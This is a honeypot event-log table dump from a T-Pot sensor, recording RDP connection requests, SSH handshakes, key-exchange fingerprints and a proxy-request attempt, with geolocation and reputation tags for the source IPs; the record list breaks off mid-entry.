29787	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:29:41.68229+03	2021-09-20 14:30:04.582524+03	{"_id": "NAb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e8c096fcbe9b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:29:41.682290Z", "@timestamp": "2021-09-20T11:29:41.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29777	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:29:28.159371+03	2021-09-20 14:30:04.569524+03	{"_id": "_gb3AnwBvYTbRNuE1DfJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1443439465437652, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60150, "dest_port": 3389, "timestamp": "2021-09-20T11:29:28.159371Z", "@timestamp": "2021-09-20T11:29:28.159Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29778	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:29:25.907796+03	2021-09-20 14:30:04.571523+03	{"_id": "8Ab3AnwBvYTbRNuEzDf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31998, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 112749075356180, "@version": "1", "in_iface": "enp5s0", "src_port": 51420, "dest_port": 53, "timestamp": "2021-09-20T11:29:25.907796Z", "@timestamp": "2021-09-20T11:29:25.907Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29779	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:29:26.001793+03	2021-09-20 14:30:04.572526+03	{"_id": "8wb3AnwBvYTbRNuEzjcg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35272, "timestamp": "2021-09-20T11:29:26.001793", "@timestamp": "2021-09-20T11:29:26.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29780	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:29:27.820467+03	2021-09-20 14:30:04.573524+03	{"_id": "-gb3AnwBvYTbRNuE1DfJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1443439465437652, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 60150, "timestamp": "2021-09-20T11:29:27.820467Z", "@timestamp": "2021-09-20T11:29:27.820Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29781	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:29:27.763178+03	2021-09-20 14:30:04.574524+03	{"_id": "-wb3AnwBvYTbRNuE1DfJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1443439465437652, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60150, "dest_port": 3389, "timestamp": "2021-09-20T11:29:27.763178Z", "@timestamp": "2021-09-20T11:29:27.763Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29782	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:29:28.159371+03	2021-09-20 14:30:04.575554+03	{"_id": "_Ab3AnwBvYTbRNuE1DfJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1443439465437652, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60150, "dest_port": 3389, "timestamp": "2021-09-20T11:29:28.159371Z", "@timestamp": "2021-09-20T11:29:28.159Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29783	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:29:27.763178+03	2021-09-20 14:30:04.576555+03	{"_id": "-Qb3AnwBvYTbRNuE1DfJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:29:27.432596+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1443439465437652, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60150, "dest_port": 3389, "timestamp": "2021-09-20T11:29:27.763178Z", "@timestamp": "2021-09-20T11:29:27.763Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29784	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:29:38.452942+03	2021-09-20 14:30:04.578554+03	{"_id": "KAb3AnwBvYTbRNuE-zjd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:29:37.890471+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1476407635056231, "payload": "AAADzAYUX9Sic728oHbHEH2+ABWURAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2129, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:29:38.452942Z", "@timestamp": "2021-09-20T11:29:38.452Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......_..s...v..}....D...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29785	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:29:38.175089+03	2021-09-20 14:30:04.579523+03	{"_id": "KQb3AnwBvYTbRNuE_TgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2129, "timestamp": "2021-09-20T11:29:38.175089", "@timestamp": "2021-09-20T11:29:38.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29786	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:29:41.940822+03	2021-09-20 14:30:04.580555+03	{"_id": "Lgb4AnwBvYTbRNuECDjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60216, "dest_port": 22, "timestamp": "2021-09-20T11:29:41.940822", "@timestamp": "2021-09-20T11:29:41.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29788	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:29:41.809759+03	2021-09-20 14:30:04.583524+03	{"_id": "Ngb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to www.evernote.com:443 from 0.0.0.0:0", "session": "1408bad53d51", "@version": "1", "src_port": 0, "dest_port": 443, "timestamp": "2021-09-20T11:29:41.809759Z", "@timestamp": "2021-09-20T11:29:41.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
29789	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:29:41.941387+03	2021-09-20 14:30:04.584524+03	{"_id": "OQb4AnwBvYTbRNuECTjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e8c096fcbe9b", "@version": "1", "timestamp": "2021-09-20T11:29:41.941387Z", "@timestamp": "2021-09-20T11:29:41.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29790	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:29:38.452485+03	2021-09-20 14:30:04.586524+03	{"_id": "Jwb3AnwBvYTbRNuE-zjd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1476407635056231, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2129, "dest_port": 22, "timestamp": "2021-09-20T11:29:38.452485Z", "@timestamp": "2021-09-20T11:29:38.452Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29791	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:29:38.452942+03	2021-09-20 14:30:04.587524+03	{"_id": "Kgb3AnwBvYTbRNuE_TgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 